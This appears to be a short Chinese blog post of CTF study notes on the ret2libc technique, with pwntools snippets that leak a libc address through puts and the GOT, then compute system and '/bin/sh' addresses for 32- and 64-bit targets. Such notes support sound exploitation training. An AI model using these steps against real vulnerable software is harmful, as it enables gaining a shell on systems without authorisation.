ret2libc

ASLR会让libc地址随机。利用stdout关联函数可以把libc中某个函数地址打印出来。
如puts打印puts的got表内容(后者存放puts真实地址),从而泄露libc基址
ctfwiki的部分exp(32bit)

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

要注意32位和64位基址recv方式不太一样
贴一下32位和64位exp备忘
32bit

addr=u32(p.recv(4))

64bit

addr=u64(p.recv().replace('\n','').ljust(8,b'\x00'))
#or
addr=u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))

然后就基于基址算其他函数/字符串地址,例如

libc=ELF('./libc-2.31.so')
base=puts_addr-libc.symbols['puts']
binsh=base+next(libc.search(b'/bin/sh'))
system=base+libc.symbols['system']

参考
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/
https://blog.csdn.net/liucc09/article/details/112244972
https://blog.csdn.net/weixin_39194641/article/details/102698265?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~Rate-1.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~Rate-1.pc_relevant_default&utm_relevant_index=1

posted @ 2022-01-24 20:23  KingBridge  阅读(111)  评论(0编辑  收藏  举报